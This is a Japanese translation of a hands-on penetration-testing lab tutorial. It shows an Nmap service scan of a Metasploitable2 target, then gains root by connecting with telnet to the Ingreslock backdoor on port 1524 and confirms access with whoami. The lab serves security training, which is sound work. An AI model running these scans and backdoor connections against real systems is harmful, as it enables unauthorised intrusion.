Nmap を使用した Ingreslock の脆弱性攻撃

NmapNmapBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、Ingreslock サービスの脆弱性を悪用して、ターゲットマシンにルートアクセスを取得する方法を学びます。実験環境は、LabEx が提供する Kali と Metasploitable2 の仮想マシンに基づいています。この実験の目的は、Ingreslock の脆弱性を理解し、Nmap を使用してペネトレーションスキャンを実行し、最終的に Ingreslock のバックドアを悪用して Metasploitable2 マシンにルートアクセスを取得することです。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) wireshark(("Wireshark")) -.-> wireshark/WiresharkGroup(["Wireshark"]) nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/timing_performance("Timing and Performance") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") wireshark/WiresharkGroup -.-> wireshark/packet_capture("Packet Capture") subgraph Lab Skills nmap/port_scanning -.-> lab-416124{{"Nmap を使用した Ingreslock の脆弱性攻撃"}} nmap/host_discovery -.-> lab-416124{{"Nmap を使用した Ingreslock の脆弱性攻撃"}} nmap/target_specification -.-> lab-416124{{"Nmap を使用した Ingreslock の脆弱性攻撃"}} nmap/timing_performance -.-> lab-416124{{"Nmap を使用した Ingreslock の脆弱性攻撃"}} nmap/service_detection -.-> lab-416124{{"Nmap を使用した Ingreslock の脆弱性攻撃"}} wireshark/packet_capture -.-> lab-416124{{"Nmap を使用した Ingreslock の脆弱性攻撃"}} end

Ingreslock 脆弱性の理解と環境のセットアップ

Ingreslock 脆弱性は、Ingres データベース管理システム (DBMS) に関連する古いが依然として関連性のあるセキュリティ上の欠陥です。TCP ポート 1524 は、攻撃者が侵害されたシステムへのアクセスを維持するためのバックドアポートとしてよく使用されます。

このステップでは、Ingreslock 脆弱性とその影響について学びます。

Ingreslock 脆弱性は、システムを侵害した攻撃者が TCP ポート 1524 をバックドアのリスニングポートとして一般的に使用するという事実に起因しています。この脆弱性を悪用するのは簡単で、開いているポートに接続するだけでターゲットマシンにルートレベルのアクセスを取得できます。

この脆弱性は古いとされていますが、一部のレガシーシステムにまだ存在しているため、制御された環境で理解し、調査する価値があります。

  1. LabEx ホストマシン上で xfce ターミナルを開き、以下のコマンドを実行して Metasploitable2 ターゲットを起動します。
sudo virsh start Metasploitable2

ターゲットマシンが起動するのを待ちます。起動には 1 - 3 分かかる場合があります。

  1. ターゲットマシンに ping を送信して接続性をテストします。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

  1. Kali Linux コンテナを起動し、以下のコマンドを実行して bash 環境に入ります。
docker run -ti --network host b5b709a49cd5 bash
  1. Kali コンテナ内で、ターゲットマシンへのネットワーク接続をテストします。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

ペネトレーションスキャンの実行

このステップでは、Nmap を使用して Metasploitable2 ターゲットマシンに対してペネトレーションスキャンを実行し、ターゲットで実行されている開いているポートとサービスを特定します。

  1. Metasploitable2 仮想マシンを起動し、実行中であることを確認します。
  2. Kali コンテナを起動し、bash シェルに入ります。
  3. Kali コンテナ内で、以下のコマンドを実行してターゲットマシンに対する包括的なスキャンを実行します。
nmap -sV -T4 target-ip-address

-sV オプションは、Nmap に開いているポートを調査してサービス/バージョン情報を特定するよう指示し、-T4 はタイミングテンプレートを攻撃的なレベルに設定します(0 から 5 の値が高いほど攻撃性が高くなります)。

PostgreSQL サービスを起動し、Metasploit データベースを初期化します。

cd ~
service postgresql start
msfdb init

Metasploit コンソールを起動します。

msfconsole

ターゲットマシンに対する包括的なスキャンを実行します。

nmap -sV -T4 192.168.122.102

以下は、あなたが見るかもしれない出力の例です。

[*] exec: nmap -sV -T4 192.168.122.102

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-24 20:47 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0037s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec?
513/tcp  open  login
514/tcp  open  shell?

...

この一連のコマンドは、PostgreSQL サービスを起動し、Metasploit データベースを初期化し、Metasploit コンソールを起動し、そして Nmap を使用してターゲットマシンに対する包括的なスキャンを実行します。

Ctrl+D を押して Metasploit コンソールを終了し、その後検査を開始します

Ingreslock バックドアの悪用

このステップでは、Ingreslock バックドアの脆弱性を悪用して、Metasploitable2 ターゲットマシンにルートアクセスを取得します。

  1. まず、Metasploit コンソールにいない場合は、Metasploit コンソールを起動します。
cd ~
msfconsole
  1. Metasploit コンソールで telnet パッケージをインストールします。
apt-key del ED444FF07D8D0BF6 && apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ED444FF07D8D0BF6 && apt update && apt install telnet
  1. telnet コマンドを使用して、ターゲットマシンの Ingreslock バックドアポートに接続します。
telnet 192.168.122.102 1524

接続が成功すると、ターゲットマシンにルートアクセスを取得できます。

  1. 次に、Ingreslock バックドアの悪用が成功したことを、侵害されたマシンの IP アドレス、ホスト名、および現在のユーザーを確認することで検証する必要があります。Ingreslock バックドアを介してターゲットマシンに接続した後、以下のコマンドを実行します。

侵害されたマシンの IP アドレスを確認します。

ifconfig

侵害されたマシンのホスト名を確認します。

hostname

侵害されたマシンの現在のユーザーを確認します。

whoami

悪用が成功した場合、ターゲットマシンの IP アドレス、ホスト名、および現在のユーザーが root と表示されるはずです。

Ctrl+D を押して Metasploit コンソールを終了し、その後検査を開始します

まとめ

この実験では、攻撃者が TCP ポート 1524 に接続することで侵害されたシステムにルートアクセスを取得できる Ingreslock 脆弱性について学びました。Nmap を使用してペネトレーションスキャンを実行し、ターゲットマシンの開いているポートとサービスを特定しました。Ingreslock バックドアポートを検出した後、telnet コマンドを使用して脆弱性を悪用し、ルートアクセスを取得しました。最後に、侵害されたマシンの IP アドレス、ホスト名、および現在のユーザーを確認することで、悪用が成功したことを検証しました。この実験は、実際の脆弱性を理解して悪用する実践的な経験を提供し、セキュリティパッチの適用とそのようなバックドアに対するシステムの強化の重要性を強調しました。